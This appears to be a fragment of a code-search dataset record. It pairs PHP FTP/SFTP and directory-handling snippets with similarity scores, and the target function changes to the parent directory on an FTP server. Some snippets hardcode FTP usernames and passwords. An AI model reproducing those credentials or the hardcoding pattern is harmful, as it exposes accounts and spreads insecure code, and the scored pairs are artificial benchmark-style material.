here.' . $e->getMessage());\n }\n\n // LOG --------------------------------\n $this->log('deploy_branch', $branch['branch_name']);\n $this->log('deploy_branch_env', $branch['name']);\n $this->output('Deploy to branch name: ' . $branch['branch_name']);\n // LOG END ----------------------------\n\n /*\n * Data is ready, need to get ready with repository state.\n * Has to be checked out to the branch specified\n * and has to be checked out to the commit specified.\n */\n\n /*\n * pull and clone done,\n * checkout to branch now.\n */\n\n $this->output('Checkout to ' . $branch['branch_name']);\n \\Utils::gitCommand(\"checkout \" . $this->branch['branch_name']);\n $this->log('revision_on_server_before', $branch['revision']);\n $this->output('Revision on FTP: ' . $branch['revision']);\n\n // Setting options for gitcore\n $options = array(\n 'record_id' => $this->record_id,\n 'repo' => $this->repo_dir,\n 'debug' => $this->debug,\n 'deploy_id' => $this->deploy_id,\n 'server' => 'default',\n 'ftp' => array(\n 'default' => array(\n 'scheme' => $ftp_data['scheme'],\n 'host' => $ftp_data['host'],\n 'user' => $ftp_data['username'],\n 'pass' => $ftp_data['pass'],\n 'port' => $ftp_data['port'],\n 'path' => $ftp_data['path'],\n 'passive' => TRUE,\n 'skip' => unserialize($this->branch['skip_path']),\n 'purge' => unserialize($this->branch['purge_path']),\n )\n ),\n 'remoteRevision' => $branch['revision'],\n );\n\n // if type_rollback.\n if ($this->record['record_type'] == $this->m_record->type_rollback && !empty($this->record['hash'])) {\n // checkout the the specific hash.\n \\Utils::gitCommand('checkout ' . $this->record['hash']);\n }\n\n // if type_sync\n if ($this->record['record_type'] == $this->m_record->type_sync) {\n // upload all files please.\n $options['remoteRevision'] = '';\n }\n\n if ($this->record['record_type'] == $this->m_record->type_service_push) {\n // push from github/bitbucket.\n if (!empty($this->record['hash']))\n \\Utils::gitCommand('checkout ' . $this->record['hash']);\n }\n\n // else its update\n\n $localRevision = \\Utils::gitCommand('rev-parse HEAD');\n if (isset($localRevision[0])) {\n $localRevision = trim($localRevision[0]);\n $options['localRevision'] = $localRevision;\n }\n\n if ($options['localRevision'] == $options['remoteRevision']) {\n $this->output('FTP server has the latest changes!');\n $this->log('FTP server has the latest changes!');\n }\n\n $this->output($localRevision);\n\n $gitcore = new \\Gitcore($options);\n try {\n // todo: we're inside.\n $gitcore->startDeploy();\n } catch (Exception $e) {\n // Store logs from GITCORE.\n $this->log('deploy_log', $gitcore->log);\n $this->output($this->log);\n throw new \\Exception($e->getMessage());\n }\n\n // Store Logs from GITCORE.\n $this->log['deploy_log'] = $gitcore->log;\n $this->output($this->log);\n\n $before_revision = $this->log['deploy_log']['remoteRevision_before'];\n $current_revision = $this->log['deploy_log']['remoteRevision_after'];\n\n // Storing output from GITCORE.\n $this->m_record->set($this->record_id, array(\n 'raw' => serialize($this->log),\n 'amount_deployed' => $this->log['deploy_log']['deployed']['human'],\n 'amount_deployed_raw' => $this->log['deploy_log']['deployed']['data'],\n 'file_add' => $this->log['deploy_log']['files']['upload'],\n 'file_remove' => $this->log['deploy_log']['files']['delete'],\n 'file_skip' => $this->log['deploy_log']['files']['skip'],\n 'hash' => $current_revision,\n 'hash_before' => $before_revision,\n ));\n\n // OK,\n // Update branch to ready,\n // Update branch revision.\n $this->m_branches->set($branch['id'], array(\n 'ready' => 1,\n 'revision' => $current_revision\n ));\n\n // OK, checkout to master.\n \\Utils::gitCommand('checkout master');\n }", "private function prv_ftp_put_dir($loc_dir, $rmt_dir, $isRecursive=TRUE, $useWhiteList=FALSE) {\n\t\t$dir = dir($loc_dir);\n\t\t\n\t\t// does $rmt_dir exist\n\t\tif ($this->isRmtDir($rmt_dir) === FALSE) {\n\t\t\techo \"\\nUnknown remote path specified...\\n\";\n\t\t\t$this->close();\n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t // do this for each file in the directory\n\t\twhile ($file = $dir->read()) {\n\t\t\t\n\t\t\tif ($file != \".\" && $file != \"..\") { // to prevent an infinite loop\n\n\t\t\t\t// ignore chosen dirs\n\t\t\t\tif ($this->isIgnore($this->ignore, $rmt_dir.\"/\".$file) ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif (is_dir($loc_dir.\"/\".$file)) { // do the following if it is a directory\n\t\t\t\t\t\n\t\t\t\t\tif (!@ftp_chdir($this->conn_id, $rmt_dir.\"/\".$file)) {\n\t\t\t\t\t\t// create directories that do not yet exist\n\t\t\t\t\t\techo \"+:/ \".$rmt_dir.\"/\".$file.\"\\n\";\n\t\t\t\t\t\t$rtn_mkdir = ftp_mkdir($this->conn_id, $rmt_dir.\"/\".$file);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ($rtn_mkdir === FALSE) {\n\t\t\t\t\t\t\techo \"\\nThere was an error uploading the directory...\\n\";\n\t\t\t\t\t\t\t$this->close();\n\t\t\t\t\t\t\texit(1);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// recursive into next directory\n\t\t\t\t\t$this->prv_ftp_put_dir($loc_dir.\"/\".$file, $rmt_dir.\"/\".$file);\n\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\techo '+>> '.$rmt_dir.\"/\".$file;\n\t\t\t\t\t$rtn_put = ftp_nb_put(\n\t\t\t\t\t\t\t$this->conn_id, \n\t\t\t\t\t\t\t$rmt_dir.\"/\".$file, \n\t\t\t\t\t\t\t$loc_dir.\"/\".$file, \n\t\t\t\t\t\t\t$this->ftp_trans_mode($file));\n\t\t\t\t\t\n\t\t\t\twhile ($rtn_put == FTP_MOREDATA) {\n\t\t\t\t\t// do whatever you want\n\t\t\t\t\techo '.';\n\t\t\t\t\t\n\t\t\t\t\t// continue downloading\n\t\t\t\t\t$rtn_put = ftp_nb_continue($this->conn_id);\n\t\t\t\t}\n\t\t\t\tif ($rtn_put != FTP_FINISHED) {\n\t\t\t\t\techo \"\\nThere was an error uploading the file...\\n\";\n\t\t\t\t\t$this->close();\n\t\t\t\t\texit(1);\n\t\t\t\t}\n\t\t\t\t\techo \"\\n\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t}", "function set_current_url() {\r\n\t\t\t$this->current_url = $this->get_current_url();\r\n\t\t}", "function copyFolder($old_dir,$new_dir){\r\n\t\t\t\t// open the user's directory\r\n\t\t\t\t\t$path = './cloud/'.$_SESSION['SESS_USER_ID'].'/'; // '.' for current\r\n\r\n\t\t\t\t\t\r\n\t\t\t}", "function setPath() {\n\n // Wp installation path\n $wp_install_path = str_replace( 'http://' . $_SERVER['HTTP_HOST'], '', site_url());\n\n // Set the instance starting path\n $this->path = $wp_install_path . App::getOption('path');\n\n // Grab the server-passed \"REQUEST_URI\"\n $this->current_uri = $this->request->server()->get('REQUEST_URI');\n\n // Remove the starting URI from the equation\n // ex. /wp/cocoon/mypage -> /mypage\n $this->request->server()->set(\n 'REQUEST_URI', substr($this->current_uri, strlen($this->path))\n );\n\n }", "public static function setCurrentDir($current_dir)\n {\n if(is_dir($current_dir))\n {\n $router=ROUTER::init();\n $router->current_dir=$current_dir;\n }\n else\n {\n throw new RouterException('Router can not set '.$currendDir.' as Current Directory for project!');\n }\n }", "function deleteFromServer ($fileName) {\n\n\t// Save the current directory\n\t$old = getcwd(); \n // Changing to correct dir\n chdir(\"../../uploads\"); \n // Removing file\n unlink($fileName);\n // Restore the old working directory \n chdir($old); \n}", "function wpse_74180_upload_to_ftp( $args ) {\n\t$upload_dir = wp_upload_dir();\n\t$upload_url = get_option('upload_url_path');\n\t$upload_yrm = get_option('uploads_use_yearmonth_folders');\n\t/**\n\t * Change this to match your server\n\t * You only need to change the those with (*)\n\t * If marked with (-) its optional \n\t */\n\t$settings = array(\n\t\t'host'\t =>\t'ip or hostname ftp/hosting', \t\t\t// * the ftp-server hostname\n\t\t'port' => 21, // * the ftp-server port (of type int)\n\t\t'user'\t =>\t'username ftp', \t\t\t\t// * ftp-user\n\t\t'pass'\t =>\t'password ftp',\t \t\t\t\t// * ftp-password\n\t\t'cdn' => 'subdomain.domain.com',\t\t\t// * This have to be a pointed domain or subdomain to the root of the uploads\n\t\t'path'\t =>\t'/',\t \t\t\t\t\t// - ftp-path, default is root (/). Change here and add the dir on the ftp-server,\n\t\t'base'\t => $upload_dir['basedir'] \t// Basedir on local \n\t);\n\t/**\n\t * Change the upload url to the ftp-server\n\t */\n\tif( empty( $upload_url ) ) {\n\t\tupdate_option( 'upload_url_path', esc_url( $settings['cdn'] ) );\n\t}\n\t/**\n\t * Host-connection\n\t * Read about it here: http://php.net/manual/en/function.ftp-connect.php\n\t */\n\t\n\t$connection = ftp_connect( $settings['host'], $settings['port'] );\n\t/**\n\t * Login to ftp\n\t * Read about it here: http://php.net/manual/en/function.ftp-login.php\n\t */\n\t$login = ftp_login( $connection, $settings['user'], $settings['pass'] );\n\t\n\t/**\n\t * Check ftp-connection\n\t */\n\tif ( !$connection || !$login ) {\n\t die('Connection attempt failed, Check your settings');\n\t}\n\tfunction ftp_putAll($conn_id, $src_dir, $dst_dir, $created) {\n $d = dir($src_dir);\n\t while($file = $d->read()) { // do this for each file in the directory\n\t if ($file != \".\" && $file != \"..\") { // to prevent an infinite loop\n\t if (is_dir($src_dir.\"/\".$file)) { // do the following if it is a directory\n\t if (!@ftp_chdir($conn_id, $dst_dir.\"/\".$file)) {\n\t ftp_mkdir($conn_id, $dst_dir.\"/\".$file); // create directories that do not yet exist\n\t }\n\t $created = ftp_putAll($conn_id, $src_dir.\"/\".$file, $dst_dir.\"/\".$file, $created); // recursive part\n\t } else {\n\t $upload = ftp_put($conn_id, $dst_dir.\"/\".$file, $src_dir.\"/\".$file, FTP_BINARY); // put the files\n\t if($upload)\n\t \t$created[] = $src_dir.\"/\".$file;\n\t }\n\t }\n\t }\n\t $d->close();\n\t return $created;\n\t}\n\t/**\n\t * If we ftp-upload successfully, mark it for deletion\n\t * http://php.net/manual/en/function.ftp-put.php\n\t */\n\t$delete = ftp_putAll($connection, $settings['base'], $settings['path'], array());\n\t\n\t// Delete all successfully-copied files\n\tforeach ( $delete as $file ) {\n\t\tunlink( $file );\n\t}\n\t\n\treturn $args;\n}", "function chdir(string $directory): void\n{\n error_clear_last();\n $safeResult = \\chdir($directory);\n if ($safeResult === false) {\n throw DirException::createFromPhpError();\n }\n}", "function setFileContent($db, $file, $localFilePath)\n{\n $storageType = 'local';\n $storageLocation = LOCAL_STORAGE_DEFAULT_PATH;\n $uploadServerDetails = loadServer($db, $file);\n if ($uploadServerDetails != false)\n {\n $storageLocation = $uploadServerDetails['storagePath'];\n $storageType = $uploadServerDetails['serverType'];\n\n // if no storage path set & local, use system default\n if ((strlen($storageLocation) == 0) && ($storageType == 'local'))\n {\n $storageLocation = LOCAL_STORAGE_DEFAULT_PATH;\n }\n\n if ($storageType == 'direct')\n {\n $storageLocation = LOCAL_STORAGE_DEFAULT_PATH;\n }\n }\n\n // get subfolder\n $subFolder = current(explode(\"/\", $file['localFilePath']));\n $originalFilename = end(explode(\"/\", $file['localFilePath']));\n\n // use ssh to get contents of 'local' files\n if (($storageType == 'local') || ($storageType == 'direct'))\n {\n // get remote file path\n $remoteFilePath = $storageLocation . $file['localFilePath'];\n // first try setting the file locally\n $done = false;\n if ((ON_SCRIPT_INSTALL == true) && file_exists($remoteFilePath))\n {\n $done = copy($localFilePath, $remoteFilePath);\n if ($done)\n {\n return true;\n }\n }\n\n // try over ssh\n if ($done == false)\n {\n\t\t\t$sshHost = LOCAL_STORAGE_SSH_HOST;\n\t\t\t$sshUser = LOCAL_STORAGE_SSH_USER;\n\t\t\t$sshPass = LOCAL_STORAGE_SSH_PASS;\n\n\t\t\t// if 'direct' file server, get SSH details\n\t\t\t$serverDetails = getDirectFileServerSSHDetails($file['serverId']);\n\t\t\tif($serverDetails)\n\t\t\t{\n\t\t\t\t$sshHost = $serverDetails['ssh_host'];\n $sshPort = $serverDetails['ssh_port'];\n\t\t\t\t$sshUser = $serverDetails['ssh_username'];\n\t\t\t\t$sshPass = $serverDetails['ssh_password'];\n\t\t\t\t$basePath = $serverDetails['file_storage_path'];\n\t\t\t\tif(substr($basePath, strlen($basePath)-1, 1) == '/')\n\t\t\t\t{\n\t\t\t\t\t$basePath = substr($basePath, 0, strlen($basePath)-1);\n\t\t\t\t}\n\t\t\t\t$remoteFilePath = $basePath . '/' . $file['localFilePath'];\n\t\t\t}\n \n if(strlen($sshPort) == 0)\n {\n $sshPort = 22;\n }\n\t\t\t\n // connect to 'local' storage via SSH\n $sftp = new Net_SFTP($sshHost, $sshPort);\n if (!$sftp->login($sshUser, $sshPass))\n {\n output(\"Error: Failed logging into \" . $sshHost . \" (Port: \".$sshPort.\") via SSH..\\n\");\n\n return false;\n }\n\n // overwrite file\n $rs = $sftp->put($remoteFilePath, $localFilePath, NET_SFTP_LOCAL_FILE);\n if ($rs)\n {\n return true;\n }\n\n output(\"Error: Failed uploading converted file to \" . LOCAL_STORAGE_SSH_HOST . \" (\" . $remoteFilePath . \") via SSH..\\n\");\n }\n\n return false;\n }\n\n // ftp\n if ($storageType == 'ftp')\n {\n // setup full path\n $prePath = $uploadServerDetails['storagePath'];\n if (substr($prePath, strlen($prePath) - 1, 1) == '/')\n {\n $prePath = substr($prePath, 0, strlen($prePath) - 1);\n }\n $remoteFilePath = $prePath . '/' . $file['localFilePath'];\n\n // connect via ftp\n $conn_id = ftp_connect($uploadServerDetails['ipAddress'], $uploadServerDetails['ftpPort'], 30);\n if ($conn_id === false)\n {\n output('Could not connect to ' . $uploadServerDetails['ipAddress'] . ' to upload file.');\n return false;\n }\n\n // authenticate\n $login_result = ftp_login($conn_id, $uploadServerDetails['ftpUsername'], $uploadServerDetails['ftpPassword']);\n if ($login_result === false)\n {\n output('Could not login to ' . $uploadServerDetails['ipAddress'] . ' with supplied credentials.');\n return false;\n }\n\n // get content\n $rs = ftp_put($conn_id, $remoteFilePath, $localFilePath, FTP_BINARY);\n if ($rs == true)\n {\n return true;\n }\n }\n\n output(\"Error: Failed uploading converted file to \" . $uploadServerDetails['ipAddress'] . \" via FTP..\\n\");\n\n return false;\n}", "public function pwd() {\n return ftp_pwd($this->connectId);\n }", "function FtpUpload($dest_file, $src_file){\n\n $server='localhost'; // ftp server\n $connection = ftp_connect($server); // connection\n\n // login to ftp server\n $user = \"linkrx7\";\n $pass = \"rotary\";\n $result = ftp_login($connection, $user, $pass);\n// check connection\nif ((!$connection) || (!$result)) { \n echo \"FTP connection has failed!\";\n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \n exit; \n}\n// upload the file\n$upload = ftp_put($connection, $dest_file, $src_file, FTP_BINARY); \n\n// check upload status\nif (!$upload) { \n echo \"FTP upload has failed!\";\n }\n// close the FTP stream \nftp_close($connection);\n}", "public function set_temp_dir() {\n\t\t$this->temp_dir = tempnam( $this->sys_temp_dir, \"RTV\" );\n\t\tunlink( $this->temp_dir );\n\t\tmkdir( $this->temp_dir );\n\t\techo \"Temporary dir: {$this->temp_dir}\" . PHP_EOL;\n\t}", "public function cwd()\n {\n $this->cwd = true;\n\n return $this;\n }", "public function setServerRelativePath($value)\n {\n return $this->setProperty(\"ServerRelativePath\", $value, true);\n }", "public function setWorkingDirectory($directoryPath);", "public function getcwd(): string;", "function LocalDir($path) {\n parent::FileList($path);\n $this->handle = opendir($this->path);\n }", "protected function popd() {\n $dir = array_pop($this->pwd_stack);\n if (!empty($dir)) {\n chdir($dir);\n }\n }", "public function setFolder()\n\t{\n\t\t$fullPath = str_replace($this->get('localPath'), '', $this->get('fullPath'));\n\n\t\t// Folder metadata\n\t\t$this->set('type', 'folder');\n\t\t$this->set('name', basename($this->get('dirname')));\n\t\t$this->set('localPath', $this->get('dirname'));\n\n\t\t$this->set('fullPath', $fullPath . $this->get('localPath'));\n\n\t\t$dirname = dirname($this->get('dirname')) == '.'\n\t\t\t\t? null : dirname($this->get('dirname'));\n\t\t$this->set('dirname', $dirname);\n\t\t$this->setParents();\n\n\t\t$this->clear('ext');\n\t\t$this->setIcon('folder');\n\t}", "function stor($localPath,$remotePath)\n\t{\n\t\tlog(\"<h3>uploading $localPath</h3>\");\n\t\t\n\t\t\n\t\tif($this->pasv())\n\t\t{\n\t\t\t$this->sock_write(\"STOR $remotePath\");\n\t\t\tif($this->is_ok())\n\t\t\t{\n\t\t\t\t$fp = fopen($localPath,\"rb\");\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($fp)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\twhile(!feof($fp))\n\t\t\t\t\t{\n\t\t\t\t\t\t$s = fread($fp,4096);\n\t\t\t\t\t\tfwrite($this->data_sock,$s);\n\t\t\t\t\t}\n\t\t\t\t\treturn 1;\n\t\t\t\t}\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t}", "public function cdup()\n {\n ftp_cdup($this->handle);\n }", "public function setRealFolder($value)\n {\n return $this->set('RealFolder', $value);\n }", "public function setRealFolder($value)\n {\n return $this->set('RealFolder', $value);\n }", "public function eftipi(){\n $ftp_server = \"ftp.**.com\"; \n $conn_id = ftp_ssl_connect($ftp_server); \n\n // login with username and password \n $ftp_user_name = \"**\"; \n $ftp_user_pass = \"**\"; \n $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); \n ftp_pasv($conn_id, true); \n // check connection \n if ((!$conn_id) || (!$login_result)) { \n echo \"FTP connection has failed!\"; \n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \n exit; \n } else { \n echo \"Connected to $ftp_server, for user $ftp_user_name\"; \n } \n\n if (ftp_chdir($conn_id, \"**mx/inventario\")) {\n echo \"\\nCurrent directory is now: \" . ftp_pwd($conn_id) . \"\\n\";\n if (ftp_get($conn_id, 'ideac '.date('d-m-y').'.csv', 'inventario.csv', FTP_BINARY)) {\n echo \"Se ha guardado satisfactoriamente en 'ideac \".date('d-m-y').\".csv'\\n\";\n rename($_SERVER['DOCUMENT_ROOT'].'/TheBlueShip/inventory/ideac '.date('d-m-y').'.csv', $_SERVER['DOCUMENT_ROOT'].'/TheBlueShip/inventory/Jul/ideac '.date('d-m-y').'.csv');\n } else {\n echo \"Ha habido un problema\\n\";\n }\n } else { \n echo \"Couldn't change directory\\n\";\n }\n\n $buff = ftp_rawlist($conn_id, '.'); \n //var_dump($buff); \n ftp_close($conn_id); \n }", "protected function setInitialRootPath() {}", "function Uploadfile($filename){\n\techo (\"Attempting to connect through FTP...\\n\"); \n\t$conn_id = ftp_connect('login.yahoo.com');\n\n\t // check connection\n\tif(!$conn_id){\n\t\techo \"Connection Failed \\n\";\n\t\texit ; \n\t}\n\telse\n\t\techo \"Connection Established \\n\";\n\t\n\t// login with username and password\n\techo (\"Logging in...\\n\");\n\t$login_result = ftp_login ($conn_id, 'yqa_jaya_arflow26', 'abcd1234abcd');\n\n\t// check result\n\tif(!$login_result){\n\t\techo \"Login Failed \\n\";\n\t\texit;\n\t}\n\telse\n\t\techo \"Login Successful \\n\";\n\n\t// upload the file\n\techo (\"Uploading '$filename' ... \\n\");\n\t$destination= '/public_html/uploads/' . $filename;\n\t$source =dirname(__FILE__). '/'.$filename;\n\t$upload =ftp_put($conn_id,$destination,$source, FTP_BINARY);\n\t\n\t//Check result\n\tif($upload)\n\t\techo \"Uploaded successfully\";\n\telse{\n\t\techo \"Upload failed\" ;\n\t\texit;\n\t}\n\t\n\t// close our connection\n\techo \"Closing FTP connection \\n\";\n\tftp_close($conn_id);\t\n\techo \"Connection Closed \\n\";\n}", "public function sftp_path($path)\n {\n }", "function pwd() {\r\n\t\t$res = @ftp_pwd($this->_handle);\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpPwdException();\r\n\t\t} else {\r\n\t\t\treturn $res;\r\n\t\t}\r\n\t}", "function moveFolder($user_dir){\r\n\t\t\t\t// open the user's directory\r\n\t\t\t\t\t$path = './cloud/'.$_SESSION['SESS_USER_ID'].'/'; // '.' for current\r\n\r\n\t\t\t\t\t\r\n\t\t\t}", "function chroot(string $directory): bool {}", "function setDestdir($destdir)\r\n\t{\r\n\t\t$this->destdir = $destdir;\r\n\t}", "public function updateFilesystem()\n {\n }", "public function repo($dir, $remote);", "function setFtp_port($ftp_port) {\n\t\tif( !isset($this->conn_id) ) {\n\t\t\t$this->ftp_port = $ftp_port;\n\t\t\treturn TRUE;\n\t\t} else {\n\t\t\treturn FALSE;\n\t\t}\n\t}", "public function getCurrentDirectory()\n {\n return $this->currentDirectory;\n }", "abstract public function copyLocalDir($from, $to);", "public function setRemoteFile($remoteFileName){\n\t\t$this->remote_file = $remoteFileName;\n\t}", "function TS_VCSC_ChangeDownloadsUploadDirectory() {\r\n\t\t\t$isSecure \t\t\t= false;\r\n\t\t\tif ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || ($_SERVER['SERVER_PORT'] == 443)) {\r\n\t\t\t\t$isSecure \t\t= true;\r\n\t\t\t} else if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') {\r\n\t\t\t\t$isSecure \t\t= true;\r\n\t\t\t}\r\n\t\t\t$actual_link \t\t= ($isSecure ? 'https' : 'http');\r\n\t\t\t$actual_link \t\t= $actual_link . \"://\" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];\t\t\t\r\n\t\t\t$actual_link \t\t= explode('/', $actual_link);\r\n\t\t\t$urlBasename \t\t= array_pop($actual_link);\r\n\t\t\t$upload_directory \t= wp_upload_dir();\r\n\t\t\t$font_directory\t\t= $upload_directory['basedir'] . '/ts-vcsc-icons/custom-pack';\r\n\t\t\tupdate_option('ts_vcsc_extend_settings_tinymceCustomDirectory', $font_directory);\r\n\t\t\tif ($urlBasename == 'admin.php?page=TS_VCSC_Uploader') {\r\n\t\t\t\tadd_filter('upload_dir', array($this, 'TS_VCSC_SetUploadDirectory'));\r\n\t\t\t}\r\n\t\t}", "public function setTmpFolder($value) {\n\t\t$this->_tmp = $this->_checkTemporaryDirectory($value);\n\t\treturn $this;\n\t}", "public function cwd() {\n\t\tif( $this->authorized() ) {\n\t\t\treturn parent::cwd();\n\t\t} else{\n\t\t\treturn false;\n\t\t}\n\t}", "protected function setInitialRelativePath() {}", "public function getWorkDir(): string\n {\n return $this->getPwd();\n }", "public function setCurrentDirectory(string $directory): void\n {\n $this->currentDirectory = $directory;\n }", "public function connectSftp($user = null, $destination = null)\n {\n $user = $user ? $user : $this->getSftpUser();\n $destination = $destination ? $destination : $this->config->getUserRepositoryPath();\n\n if (isset($this->filesystem)) {\n return $this->filesystem;\n }\n\n $host = $this->config->getProjectServerHost();\n $pass = '';\n\n // Dividir user/pass\n if (strstr($user,'.')) {\n $access = explode('.',$user);\n $user = $access[0];\n $pass = $access[1];\n }\n\n $sftp = new SftpAdapter([\n 'host' => $host,\n 'port' => 22,\n 'username' => $user,\n 'password' => $pass,\n 'root' => $destination,\n 'timeout' => 10,\n ]);\n\n $this->filesystem = new Filesystem($sftp);\n $contents = $this->filesystem->listContents();\n\n $this->utils->info(' Document Root (Remote) : '.$sftp->getRoot());\n\n return $this->filesystem;\n }", "function putRecursive($local_path, $remote_path, $overwrite = false, $mode = null) {\r\n\t\t$remote_path = $this->_constructPath($remote_path);\r\n\t\tif ( !file_exists($local_path) || !is_dir($local_path) ) {\r\n\t\t\tthrow new ftpPutRecursiveException(\"Given local-path '$local_path' seems not to be a directory.\");\r\n\t\t}\r\n\t\t// try to create directory if it doesn't exist\r\n\t\t$old_path = $this->pwd();\r\n\t\ttry {\r\n\t\t\t$this->cd($remote_path);\r\n\t\t} catch ( ftpException $e ) {\r\n\t\t\t$res = $this->mkdir($remote_path);\r\n\t\t}\r\n\t\t\r\n\t\t$this->cd($old_path);\r\n\t\tif ( $this->_checkRemoteDir($remote_path) !== true ) {\r\n\t\t\tthrow new ftpPutRecursiveException(\"Given remote-path '$remote_path' seems not to be a directory.\");\r\n\t\t}\r\n\t\t$dir_list = $this->_lsLocal($local_path);\r\n\t\tforeach ( $dir_list[\"dirs\"] as $dir_entry ) {\r\n\t\t\t// local directories do not have arrays as entry\r\n\t\t\t$remote_path_new = $remote_path . $dir_entry . \"/\";\r\n\t\t\t$local_path_new = $local_path . $dir_entry . \"/\";\r\n\t\t\t$result = $this->putRecursive($local_path_new, $remote_path_new, $overwrite, $mode);\r\n\t\t}\r\n\t\t\r\n\t\tforeach ( $dir_list[\"files\"] as $file_entry ) {\r\n\t\t\t$remote_file = $remote_path . $file_entry;\r\n\t\t\t$local_file = $local_path . $file_entry;\r\n\t\t\t$result = $this->put($local_file, $remote_file, $overwrite, $mode);\r\n\t\t}\r\n\t\treturn true;\r\n\t}" ]
[ "0.69790494", "0.6708763", "0.66351396", "0.63022995", "0.6295509", "0.61888933", "0.6160568", "0.61204064", "0.6119404", "0.6085175", "0.5920484", "0.585251", "0.5841784", "0.5762313", "0.55011296", "0.546185", "0.5419478", "0.5402845", "0.5396334", "0.53501546", "0.53042924", "0.53000224", "0.522404", "0.5219932", "0.52044934", "0.5204423", "0.5204423", "0.52037036", "0.52037036", "0.5191583", "0.5188436", "0.51387227", "0.5091253", "0.507191", "0.5014723", "0.4975813", "0.49706095", "0.4957789", "0.4938584", "0.49360523", "0.49227506", "0.49170935", "0.4912343", "0.491061", "0.49015924", "0.48860836", "0.4874118", "0.48670596", "0.4860304", "0.4860304", "0.4845724", "0.48056853", "0.47920886", "0.47916242", "0.4783712", "0.47795242", "0.47748312", "0.4744704", "0.47446504", "0.47399002", "0.4736181", "0.47294718", "0.4715502", "0.47129267", "0.4693", "0.46883518", "0.46844345", "0.46830234", "0.46821818", "0.46721944", "0.46625295", "0.4660058", "0.46556425", "0.46550885", "0.46536508", "0.46418342", "0.46364167", "0.46364167", "0.46339044", "0.4632799", "0.46320248", "0.46168286", "0.45965058", "0.45708457", "0.45615515", "0.4561541", "0.45507124", "0.4547694", "0.45451996", "0.45443904", "0.4543918", "0.4543917", "0.4542543", "0.45380908", "0.45371702", "0.4527729", "0.45273337", "0.4522433", "0.45208824", "0.45100075" ]
0.52904874
22
Changes to the parent directory on the remote FTP server.
public function parentDir() { if ($this->getActive()) { // Move up! if (ftp_cdup($this->_connection)) { return true; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function cd($path)\n {\n // Go to root folder\n if (!ftp_chdir($this->handle, $path)) {\n return $this->log('Remote folder[##] not found', $path);\n }\n\n // Check if we can write there\n if (!$this->isWritable()) {\n return $this->log('Remote path [##] is not writable', $path);\n }\n\n $this->log('Switching to [##] folder', $path);\n\n // Store current folder\n $this->currentFolder = ftp_pwd($this->handle);\n\n return true;\n }", "function _ftp_chdir($dir)\n\t{\n\t\t// Calculate \"real\" (absolute) FTP path\n\t\t$realdir = substr($this->_initdir, -1) == '/' ? substr($this->_initdir, 0, strlen($this->_initdir) - 1) : $this->_initdir;\n\t\t$realdir .= '/'.$dir;\n\t\t$realdir = substr($realdir, 0, 1) == '/' ? $realdir : '/'.$realdir;\n\n\t\tif($this->_currentdir == $realdir)\n\t\t{\n\t\t\t// Already there, do nothing\n\t\t\treturn true;\n\t\t}\n\n\t\t$result = @ftp_chdir($this->_ftphandle, $realdir);\n\t\tif($result === false)\n\t\t{\n\t\t\t// The directory doesn't exist, let's try to create it...\n\t\t\tif(!$this->_makeDirectory($dir)) return false;\n\t\t\t// After creating it, change into it\n\t\t\t@ftp_chdir($this->_ftphandle, $realdir);\n\t\t}\n\n\t\t// Update the private \"current remote directory\" variable\n\t\t$this->_currentdir = $realdir;\n\t\treturn true;\n\t}", "protected function changePath()\n {\n chdir(base_path());\n }", "function chdir($dir)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_chdir($this->_socket, $dir);\r\n \t} else {\r\n \t $this->putcmd(\"CWD\", $dir);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function cd($changePath) {\n\t\t$this->intoArray = explode('/', $this->currentPath);\n\t\tarray_pop($this->intoArray);\n\t\t$this->newPath = implode('/', $this->intoArray); \n\n\t\t// go back one folder to a parent and change to a new dir (use ../ convention)\n\t\tif (substr($changePath, 0, strlen($this->cd)) == $this->cd) { // check for ../ convention..\n \t\t$changePath = substr($changePath, strlen($this->cd)); // keep folder name after ../\n \t\t$this->newPath .= '/' . $changePath; // and join parent path with a new folder\n\t\t\techo $this->newPath; // display new path\n\t\t\t// $this->currentPath = $this->newPath; // enable if if you want current path to be changed to a new one\n \t} else { // if user entered invalid path format, i.e. without ../\n\t\t\techo 'Entered path is not valid';\n\t\t}\n\t}", "public function testChDir() {\n $currentDir = getcwd();\n $parentDir = dirname($currentDir);\n\n $handle = new Directory($parentDir);\n $handle->chdir();\n\n $this->assertEquals($parentDir, getcwd());\n chdir($currentDir);\n }", "public function getParentFolder() {}", "public function getParentFolder() {}", "public function getParentFolder() {}", "public function dir_rewinddir() {}", "private function setParent(Folder $parent): void\n {\n $this->parent = $parent;\n }", "public function cwd()\n {\n return ssh2_sftp_realpath($this->sftpHandle, \".\");\n }", "public function renameParentFolder($currentPath,$parentFolder)\r\n\t{\r\n $old_path=\"../img/product/\".$this->ezpk($currentPath);//Old Path\r\n $current_path=\"../img/product/\".$this->ezpk($parentFolder);\r\n if(!file_exists($current_path)){\r\n rename($old_path, $current_path);//Rename the Directory\r\n }\r\n\t}", "function Pico_FTPWritable($directory)\n{\n\t$path = explode('/', trim($directory, '/'));\n\t$start_path = getcwd();\n\n\t// get it at the beginning\n\t$ftp = Pico_GetFTPObject();\n\n\twhile ($folder = 